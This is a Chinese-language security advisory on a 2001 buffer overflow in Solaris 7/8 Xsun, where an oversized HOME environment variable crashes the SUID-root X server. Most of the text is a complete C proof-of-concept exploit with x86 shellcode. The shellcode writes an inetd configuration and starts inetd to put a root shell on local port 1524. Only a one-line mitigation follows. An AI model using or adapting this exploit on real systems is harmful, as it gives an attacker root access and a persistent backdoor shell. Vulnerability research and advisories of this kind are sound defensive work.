Solaris Xsun 存在缓冲溢出漏洞发布时间：2001-04-12 更新时间：2001-04-12 严重程度：高 威胁程度：本地管理员权限 错误类型：输入验证错误 利用方式：服务器模式 受影响系统 Solaris 7/8 (x86 和 sparc)详细描述 在Xsun中存在缓冲溢出，在处理环境变量HOME的时候会导致溢出的产生，由于Xsun是SUID ROOT属性，可以导致ROOT权利的获得。 bash-2.03$ HOME=`perl -e 'print "A"x1050'` bash-2.03$ /usr/openwin/bin/Xsun :1 Warning: There is no XDISPLAY information for display 1. Server is using XDISPLAY information for display 0. Default Font Path: /usr/openwin/lib/X11/ Segmentation Fault (core dumped) 测试代码 /***********************************/ Solaris 7 (x86) /usr/openwin/bin/Xsun HOME environment overflow Proof of Concept Exploitation riley@eeye.com Puts a Root shell on local port 1524 /***********************************/ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define BUFLEN 1041 /* seteuid/setuid/inetd shell */ char eyecode[] = "\xeb\x51\x9a\x65\x65\x79\x65\x07\x90\xc3\x5e" "\x29\xc0\x89\x46\xab\x88\x46\xb0\x89\x46\x0c" "\x50\xb0\x8d\xe8\xe4\xff\xff\xff\x29\xc0\x50" "\xb0\x17\xe8\xda\xff\xff\xff\x29\xc0\x88\x46" "\x17\x88\x46\x1a\x88\x46\x78\x29\xc0\x50\x56" "\x8d\x5e\x10\x89\x1e\x53\x8d\x5e\x18\x89\x5e" "\x04\x8d\x5e\x1b\x89\x5e\x08\xb0\x3b\xe8\xb2" "\xff\xff\xff\x90\x90\xc3\xe8\xb2\xff\xff\xff" "\x90\x6b\x61\x6d\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x2f\x62\x69\x6e\x2f\x73" "\x68\x20\x2d\x63\x20" "echo \"ingreslock stream tcp nowait root /bin/sh sh -i\">/tmp/eeye;" "/usr/sbin/inetd -s /tmp/eeye2001"; char buf[BUFLEN]; unsigned long int nop, esp; long int offset = 0; unsigned long int get_esp() {__asm__("movl %esp,%eax");} int main (int argc, char *argv[]) { int i; if (argc > 1) offset = strtol(argv[1], NULL, 0); else offset = -200; esp = get_esp(); memset(buf, 0x90, BUFLEN); memcpy(buf+800, eyecode, strlen(eyecode)); *((int *) &buf[1037]) = esp+offset; strncpy(&buf[0],"HOME=",5); putenv(buf); execl("/usr/openwin/bin/Xsun", "eEye", ":1",NULL); return; } 解决方案 chmod –s /usr/openwin/bin/Xsun 相关信息 Riley Hassell riley@eeye.com |
